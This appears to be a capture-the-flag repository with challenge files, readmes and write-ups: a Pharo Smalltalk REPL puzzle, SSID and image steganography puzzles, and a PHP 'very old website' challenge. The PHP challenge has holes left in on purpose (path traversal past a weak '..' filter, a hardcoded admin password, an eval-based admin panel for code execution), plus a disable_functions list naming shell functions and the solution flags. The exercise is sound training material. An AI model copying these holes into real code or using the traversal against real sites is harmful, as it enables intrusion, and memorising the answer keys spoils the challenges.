Messages that can be send to classes themselves are defined on the metaclass of a class. In this case the metaclass is the `Person class` class. We can obtain a reference to a method itself by using the `>>` (lookup) operator:
|
||||
|
||||
```
|
||||
(Person class)>>#newWithName
|
||||
```
|
||||
|
||||
## The Challenge
|
||||
|
||||
The challenge consisted of connecting to a remote endpoint using netcat, which provided a Smalltalk REPL where Smalltalk expressions
|
||||
could be executed.
|
||||
|
||||
The Pharo VM contained serveral user-defined classes:
|
||||
|
||||
* Challenge
|
||||
* Squeak
|
||||
|
||||
The REPL suggested that you could obtain the flag by using:
|
||||
|
||||
```
|
||||
Challenge new flag
|
||||
```
|
||||
|
||||
however, when trying to do this, the REPL would yield that `only a Squeak could to that`, which means that the method `flag` could only be called from an instance of the class `Squeak`.
|
||||
|
||||
Luckily, the `Squeak` class contained a method named `fetchFlag`. So lets try to do this:
|
||||
|
||||
```
|
||||
Squeak new fetchFlag.
|
||||
```
|
||||
|
||||
This however, yields an initialisation error, suggesting that no instance of a `Squeak` could be created.
|
||||
|
||||
## Solution(s)
|
||||
|
||||
As Pharo has many ways to interact with classes and objects, the challenge has many solutions. Here, I will only present two possible solutions. One involves inspecting the method dictionnary of the `Challenge` class, the other involves overwriting the behaviour in the `Squeak` class that prevents its instance creation.
|
||||
|
||||
### Inspecting the Challenge class
|
||||
|
||||
Its is clear that we need to obtain some representation of the source of the `flag` method of the `Challenge` class.
|
||||
|
||||
We can try to obtain a reference to this method by using the lookup operator:
|
||||
|
||||
```
|
||||
Challenge>>#flag
|
||||
```
|
||||
|
||||
however, this results in a `LookupError`, the `Challenge` class seems to be too well protected.
|
||||
|
||||
However, Pharo has many ways to get references to methods, so we can try another one:
|
||||
|
||||
```
|
||||
Challenge methodDict at:#flag
|
||||
```
|
||||
|
||||
This seems to work well. Now we only need to print its source code.
|
||||
|
||||
```
|
||||
(Challenge methodDict at:#flag) ast nodesDo: [:n | Transcript show: n; cr. ]
|
||||
```
|
||||
|
||||
Which yields:
|
||||
|
||||
```
|
||||
RBTemporaryNode(caller)
|
||||
RBAssignmentNode(caller := thisContext client)
|
||||
RBMessageNode(thisContext client)
|
||||
RBThisContextNode(thisContext)
|
||||
RBTemporaryNode(caller)
|
||||
RBMessagifTrue: [ ^ 'IG{ImSoMetaEvenThisAcronym}' ])
|
||||
RBMessageNode(caller class = Squeak)
|
||||
RBMessageNode(caller class)
|
||||
RBTemporaryNode(caller)
|
||||
RBGlobalNode(Squeak)
|
||||
RBBlockNode([ ^ 'IG{ImSoMetaEvenThisAcronym}' ])
|
||||
RBSequenceNode(^ 'IG{ImSoMetaEvenThisAcronym}')
|
||||
RBReturnNode(^ 'IG{ImSoMetaEvenThisAcronym}')
|
||||
RBLiteralValueNode('IG{ImSoMetaEvenThisAcronym}')
|
||||
RBReturnNode(^ 'Only a Squeak can do that (see Squeak>>#fetchFlag)')
|
||||
RBLiteralValueNode('Only a Squeak can do that (see Squeak>>#fetchFlag)')
|
||||
|
||||
```
|
||||
|
||||
And there is our flag.
|
||||
|
||||
### Recompiling the Squeak class
|
||||
|
||||
Another way to solve this challenge is to allow the `Squeak` class to be initialised.
|
||||
|
||||
At first, we are not entirely sure why the `Squeak` class fails to initialise.
|
||||
It could be that its `initialize` method has been overridden.
|
||||
|
||||
We can find out which methods have been overriden by retrieving the methods of the `Squeak` class.
|
||||
|
||||
```
|
||||
Squeak methods
|
||||
```
|
||||
|
||||
which only yields `Squeak>>#fetchFlag`. We can conclude that the `InitialisationError` is signaled elsewhere.
|
||||
|
||||
Maybe it is at the class side?
|
||||
|
||||
```
|
||||
(Squeak class) methods
|
||||
```
|
||||
|
||||
which yields `(Squeak class)>>#basicNew`.
|
||||
|
||||
Obtaining a reference to this method using `(Squeak class)>>#basicNew` yields:
|
||||
|
||||
```
|
||||
basicNew InitialisationError signal.
|
||||
```
|
||||
|
||||
Hence, we found the culprit. We can disable this behaviour by recompiling that method to something that just
|
||||
delegates the `basicNew` message to its parent:
|
||||
|
||||
```
|
||||
(Squeak class) compile: 'basicNew ^ super basicNew'
|
||||
```
|
||||
|
||||
Now, we can try to get an instance of our `Squeak` again.
|
||||
|
||||
```
|
||||
Squeak new.
|
||||
```
|
||||
|
||||
Which, indeed, yields `a Squeak`, mission accomplished.
|
||||
|
||||
The last part of this solution consisted of calling the `fetchFlag` method on that instance:
|
||||
|
||||
```
|
||||
Squeak new fetchFlag.
|
||||
```
|
||||
|
||||
Which yields:
|
||||
|
||||
```
|
||||
IG{ImSoMetaEvenThisAcronym}
|
||||
Challenge
|
||||
```
|
||||
|
||||
Success!
|
30
retro/README
Normal file
@ -0,0 +1,30 @@
|
||||
== Retro ==
|
||||
|
||||
=== Description ===
|
||||
|
||||
Observe.
|
||||
|
||||
=== SSIDs ===
|
||||
|
||||
SSID1: f008ebc3e683dc297bffd0df3
|
||||
SSID2: c0496bdf5847d16511d161ff4
|
||||
SSID3: d16551df4e87c05b1bffffff5
|
||||
SSID4: ffffffffffffc06101df6b7d0
|
||||
SSID5: d16f45d14345d15545df757d1
|
||||
SSID6: c05501ffe1ffce2bcfcba2252
|
||||
|
||||
=== Flag ===
|
||||
|
||||
IG{IkHouVanQR}
|
||||
|
||||
=== Public Files ===
|
||||
|
||||
No file should be given
|
||||
|
||||
=== Challenge internals ===
|
||||
|
||||
There are 6 ssids, if properly ordered (using the last digit) they form a binary stream representing a QR code that contains the flag.
|
||||
|
||||
=== Deployment instructions ===
|
||||
|
||||
Create 6 new networks on the unifi with the SSIDs
|
59
retro/writeup.md
Normal file
@ -0,0 +1,59 @@
|
||||
# Retro
|
||||
|
||||
## Writeup
|
||||
|
||||
For this challenge, some information was broadcasted over the names of several wifi networks:
|
||||
|
||||
`ffffffffffffc06101df6b7d0`
|
||||
`d16f45d14345d15545df757d1`
|
||||
`c05501ffe1ffce2bcfcba2252`
|
||||
`f008ebc3e683dc297bffd0df3`
|
||||
`c0496bdf5847d16511d161ff4`
|
||||
`d16551df4e87c05b1bffffff5`
|
||||
|
||||
If you analyse the names, you can see that they are hexadecimal numbers, 25 characters long. Each name represents some binary information. You might also note that every name ends in a number ranging from 0 to 5: this number signifies the order in which you should look at this data.
|
||||
|
||||
Thus, if you take the first 24 characters of every name in order and convert the full hexadimal string to binary you get the following data:
|
||||
|
||||
`111111111111111111111111111111111111111111111111110000000110000100000001110111110110101101111101110100010110111101000101110100010100001101000101110100010101010101000101110111110111010101111101110000000101010100000001111111111110000111111111110011100010101111001111110010111010001000100101111100000000100011101011110000111110011010000011110111000010100101111011111111111101000011011111110000000100100101101011110111110101100001000111110100010110010100010001110100010110000111111111110100010110010101010001110111110100111010000111110000000101101100011011111111111111111111111111`
|
||||
|
||||
The bytestream represents a monochrome image, if you replace every 0 with a ██ and every 1 with a ░░, you get the following (24x24) QR-code:
|
||||
|
||||
<pre>
|
||||
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
|
||||
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
|
||||
░░░░██████████████░░░░████████░░██████████████░░
|
||||
░░░░██░░░░░░░░░░██░░░░██░░██░░░░██░░░░░░░░░░██░░
|
||||
░░░░██░░██████░░██░░░░██░░░░░░░░██░░██████░░██░░
|
||||
░░░░██░░██████░░██░░████████░░░░██░░██████░░██░░
|
||||
░░░░██░░██████░░██░░██░░██░░██░░██░░██████░░██░░
|
||||
░░░░██░░░░░░░░░░██░░░░░░██░░██░░██░░░░░░░░░░██░░
|
||||
░░░░██████████████░░██░░██░░██░░██████████████░░
|
||||
░░░░░░░░░░░░░░░░░░░░░░████████░░░░░░░░░░░░░░░░░░
|
||||
░░░░████░░░░░░██████░░██░░██░░░░░░░░████░░░░░░░░
|
||||
░░░░████░░██░░░░░░██░░██████░░██████░░████░░██░░
|
||||
░░░░░░░░████████████████░░██████░░░░░░██░░██░░░░
|
||||
░░░░████████░░░░░░░░░░████░░░░██░░██████████░░░░
|
||||
░░░░██░░░░░░████████░░██░░████░░██░░░░░░░░██░░░░
|
||||
░░░░░░░░░░░░░░░░░░░░██░░████████░░░░██░░░░░░░░░░
|
||||
░░░░██████████████░░████░░████░░██░░░░██░░██░░░░
|
||||
░░░░██░░░░░░░░░░██░░██░░░░████████░░██████░░░░░░
|
||||
░░░░██░░██████░░██░░░░████░░██░░██████░░██████░░
|
||||
░░░░██░░██████░░██░░░░████████░░░░░░░░░░░░░░░░░░
|
||||
░░░░██░░██████░░██░░░░████░░██░░██░░██░░██████░░
|
||||
░░░░██░░░░░░░░░░██░░████░░░░░░██░░████████░░░░░░
|
||||
░░░░██████████████░░██░░░░██░░░░██████░░░░██░░░░
|
||||
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
|
||||
</pre>
|
||||
|
||||
Scanning it with a QR-code reader will give you the flag, `IG{IkHouVanQR}`.
|
||||
|
||||
|
||||
## Challenge name
|
||||
|
||||
The 'retro' name is a pointer to the homebrew programming community, where hackers actively create new games and programs for many retro gaming consoles.
|
||||
Representing images (commonly known as sprites) as hexadecimal numbers is a very common practice.
|
||||
|
||||
|
||||
|
||||
|
16
very-old-website/docker.sh
Executable file
@ -0,0 +1,16 @@
|
||||
#!/bin/bash
|
||||
|
||||
docker run -d \
|
||||
-p 8010:80 \
|
||||
-v $PWD/php-config.ini:/usr/local/etc/php/conf.d/extra.ini:ro \
|
||||
-v $PWD/src:/var/www/html:ro \
|
||||
-v $PWD/password.txt:/password.txt:ro \
|
||||
-v $PWD/init.sh:/sbin/challenge-init.sh:ro \
|
||||
--read-only \
|
||||
--tmpfs /var \
|
||||
--tmpfs /sessions \
|
||||
--name very-old-website \
|
||||
--env CTF_FLAG="IG{3-0PHP0IS0FUN0!}" \
|
||||
--restart=unless-stopped \
|
||||
php:7.2-apache \
|
||||
bash /sbin/challenge-init.sh
|
5
very-old-website/init.sh
Normal file
@ -0,0 +1,5 @@
|
||||
#!/bin/bash
|
||||
mkdir -p /var/log/apache2/
|
||||
ln -sf /proc/$$/fd/1 /var/log/apache2/access.log
|
||||
ln -sf /proc/$$/fd/2 /var/log/apache2/error.log
|
||||
apache2-foreground
|
2
very-old-website/password.txt
Normal file
@ -0,0 +1,2 @@
|
||||
Username: admin
|
||||
Password: unhackable-super-secure-password-1234
|
3
very-old-website/php-config.ini
Normal file
@ -0,0 +1,3 @@
|
||||
disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,unlink,file_put_contents,fopen,fputs,fwrite,rmdir,popen,move_uploaded_file,disk_free_space,disk_total_space,diskfreespace,delete,copy,chmod,chown,clearstatcache
|
||||
allow_url_fopen=Off
|
||||
allow_url_include=Off
|
50
very-old-website/readme.md
Normal file
@ -0,0 +1,50 @@
|
||||
**Title:** Very Old Website
|
||||
|
||||
**Description:** We have checked our very old website whether it contains a vulnerability. But lucky we were unable to find anything. Can you check, just to be sure?
|
||||
|
||||
**Flag:** Three flags (of different levels)
|
||||
|
||||
- `IG{1-IchBinKeinNetScapeNavigator}`
|
||||
- `IG{2-GoodJobCoconut}`
|
||||
- `IG{3-0PHP0IS0FUN0!}`
|
||||
|
||||
**Hints:**
|
||||
|
||||
- First flag: `Mozilla/5.0`
|
||||
- Second flag: `Read the REAL /password.txt`
|
||||
- Third flag: `$PS1, $PWD, $UID, $SHELL`
|
||||
|
||||
**Files given:** _None_
|
||||
|
||||
**How the challenge works:**
|
||||
|
||||
1. Change the useragent to `Navigator/` (or a real Netscape useragent string)
|
||||
2. First flag: `X-Flag` header on `/`
|
||||
3. Read `http://ip/robots.txt`
|
||||
4. Fake files: `http://ip/password.txt`, and `http://ip/flag.txt`
|
||||
5. Check source of `http://ip/admin/`
|
||||
6. See possible path vulnerability: `?p=login.php`
|
||||
7. Try `?p=../../../../../../password.txt`
|
||||
8. Does not work, `..` replaced with `.`
|
||||
9. Retry with `?p=.../.../.../.../.../.../password.txt`
|
||||
10. Hurray password!
|
||||
11. Log in using these credentials on `http://ip/admin/`
|
||||
12. Hurray another flag: `<input type="hidden" name="flag">`
|
||||
13. Remote Code Execution, send payload `phpinfo()` using admin panel.
|
||||
14. Refresh `http://ip/`
|
||||
15. Find third flag.
|
||||
|
||||
**How to deploy:**
|
||||
|
||||
```
|
||||
./docker.sh
|
||||
```
|
||||
|
||||
**How to stop:**
|
||||
|
||||
```
|
||||
docker stop very-old-website
|
||||
```
|
||||
|
||||
Container is automatically removed!
|
||||
|
13
very-old-website/src/admin/change.php
Normal file
@ -0,0 +1,13 @@
|
||||
<?php
|
||||
if (!isset($_SESSION["loggedin"])) { die(); }
|
||||
|
||||
if (isset($_POST["reset"])) {
|
||||
@session_destroy();
|
||||
@session_start();
|
||||
$_SESSION["loggedin"] = true;
|
||||
header("Location: ?p=panel.php");
|
||||
die();
|
||||
}
|
||||
|
||||
$_SESSION["code"] = isset($_POST["payload"]) ? $_POST["payload"] : "";
|
||||
header("Location: ?p=panel.php");
|
2
very-old-website/src/admin/foot.php
Normal file
@ -0,0 +1,2 @@
|
||||
</body>
|
||||
</html>
|
12
very-old-website/src/admin/head.php
Normal file
@ -0,0 +1,12 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Admin Panel</title>
|
||||
<style type="text/css">
|
||||
textarea {
|
||||
width: 100%;
|
||||
height: 250pt;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
17
very-old-website/src/admin/index.php
Normal file
@ -0,0 +1,17 @@
|
||||
<?php
|
||||
|
||||
require("../config.php");
|
||||
|
||||
if (!(isset($_GET["p"]))) {
|
||||
$page = "main.php";
|
||||
} else {
|
||||
$page = str_replace("..", ".", $_GET["p"]);
|
||||
}
|
||||
|
||||
while (strpos($page, "php://") !== false) {
|
||||
$page = str_replace("php://", "", $page);
|
||||
}
|
||||
|
||||
require("head.php");
|
||||
require("./" . $page);
|
||||
require("foot.php");
|
16
very-old-website/src/admin/login.php
Normal file
@ -0,0 +1,16 @@
|
||||
<?php
|
||||
|
||||
if ( (!isset($_POST["username"])) || (!isset($_POST["password"])) ) {
|
||||
header("Location: /admin/");
|
||||
}
|
||||
|
||||
$username = $_POST["username"];
|
||||
$password = $_POST["password"];
|
||||
|
||||
if (($username === "admin") && ($password === "unhackable-super-secure-password-1234")) {
|
||||
$_SESSION["loggedin"] = true;
|
||||
header("Location: ?p=panel.php");
|
||||
die("Login ok!");
|
||||
}
|
||||
|
||||
die("Login not ok!");
|
7
very-old-website/src/admin/main.php
Normal file
@ -0,0 +1,7 @@
|
||||
<!-- Password is stored in /password.txt -->
|
||||
|
||||
<form action="?p=login.php" method="post">
|
||||
Username: <input type="text" name="username"><br>
|
||||
Password: <input type="password" name="password"><br>
|
||||
<input type="submit" value="Log in »">
|
||||
</form>
|
10
very-old-website/src/admin/panel.php
Normal file
@ -0,0 +1,10 @@
|
||||
<?php
|
||||
if (!isset($_SESSION["loggedin"])) { die("not logged in"); }
|
||||
?>
|
||||
|
||||
<form action="?p=change.php" method="post">
|
||||
<textarea name="payload"><?php echo(htmlentities($code)); ?></textarea><br>
|
||||
<input type="submit" value="Update!">
|
||||
<input type="submit" name="reset" value="Reset!">
|
||||
<input type="hidden" name="flag" value="IG{2-GoodJobCoconut}">
|
||||
</form>
|
41
very-old-website/src/config.php
Normal file
@ -0,0 +1,41 @@
|
||||
<?php
|
||||
|
||||
error_reporting(E_ALL);
|
||||
|
||||
ob_start();
|
||||
|
||||
if (!(isset($_SERVER['HTTP_USER_AGENT']))) {
|
||||
die("This website is only supported by Netscape Navigator");
|
||||
}
|
||||
|
||||
if ( (strpos($_SERVER['HTTP_USER_AGENT'], "Netscape/") === false) &&
|
||||
(strpos($_SERVER['HTTP_USER_AGENT'], "Navigator/") === false) ) {
|
||||
die("This website is only supported by Netscape Navigator");
|
||||
}
|
||||
|
||||
date_default_timezone_set('Europe/Brussels');
|
||||
|
||||
session_save_path("/sessions");
|
||||
session_start();
|
||||
|
||||
if (!isset($_SESSION["code"])) {
|
||||
$code = '
|
||||
<?php
|
||||
header("X-Flag: " . "IG{1-IchBinKeinNetScapeNavigator}");
|
||||
?>
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title></title>
|
||||
</head>
|
||||
<body>
|
||||
<p>Hello Beautiful World!</p>
|
||||
<hr>
|
||||
<p><small><i>Page generated at <?php echo(date("Y/m/d h:i:sa")); ?></i></small></p>
|
||||
</body>
|
||||
</html>
|
||||
';
|
||||
$_SESSION["code"] = $code;
|
||||
}
|
||||
|
||||
$code = $_SESSION["code"];
|
1
very-old-website/src/flag.txt
Normal file
@ -0,0 +1 @@
|
||||
It's not *this* easy!
|
3
very-old-website/src/index.php
Normal file
@ -0,0 +1,3 @@
|
||||
<?php
|
||||
require_once("config.php");
|
||||
eval("?>" . $code);
|
1
very-old-website/src/password.txt
Normal file
@ -0,0 +1 @@
|
||||
ERROR 404 - File removed for security reasons!
|
7
very-old-website/src/robots.txt
Normal file
@ -0,0 +1,7 @@
|
||||
User-agent: *
|
||||
Disallow: /cgi-bin/
|
||||
Disallow: /tmp/
|
||||
Disallow: /~root/
|
||||
Disallow: /admin/
|
||||
Disallow: /password.txt
|
||||
Disallow: /flag.txt
|
17
weird_image/README.md
Normal file
@ -0,0 +1,17 @@
|
||||
# Weird Image
|
||||
|
||||
## Description
|
||||
Someone sent me this strange image.
|
||||
Can you help me find its secret?
|
||||
|
||||
Flag format: IG{<flag>}
|
||||
|
||||
## Given files
|
||||
weird_image.jpg
|
||||
|
||||
## Flag
|
||||
IG{L3tsA11L0v3La1n}
|
||||
|
||||
## Solution
|
||||
The flag is base64 encoded in the metadata of the image.
|
||||
It can be found using e.g. strings or exiftool.
|
BIN
weird_image/weird_image.jpg
Normal file
After Width: | Height: | Size: 426 KiB |
17
weird_image_2/README.md
Normal file
@ -0,0 +1,17 @@
|
||||
# Weird Image 2
|
||||
|
||||
## Description
|
||||
Someone just sent me another odd image.
|
||||
I suspect there's something fishy about it as well.
|
||||
|
||||
## Flag
|
||||
IG{uNgHzyEGupQGPxL3}
|
||||
|
||||
## Given files
|
||||
weird_image_2.jpg
|
||||
|
||||
## Solution
|
||||
The flag can be found in the thumbnail of the image.
|
||||
The thumbnail can be extracted using exiftool.
|
||||
The thumbnail contains the flag encoded in binary.
|
||||
Read it from left to right, top to bottom, a bar without a hole in it is a 0, with a hole is a 1.
|
BIN
weird_image_2/weird_image_2.jpg
Normal file
After Width: | Height: | Size: 804 KiB |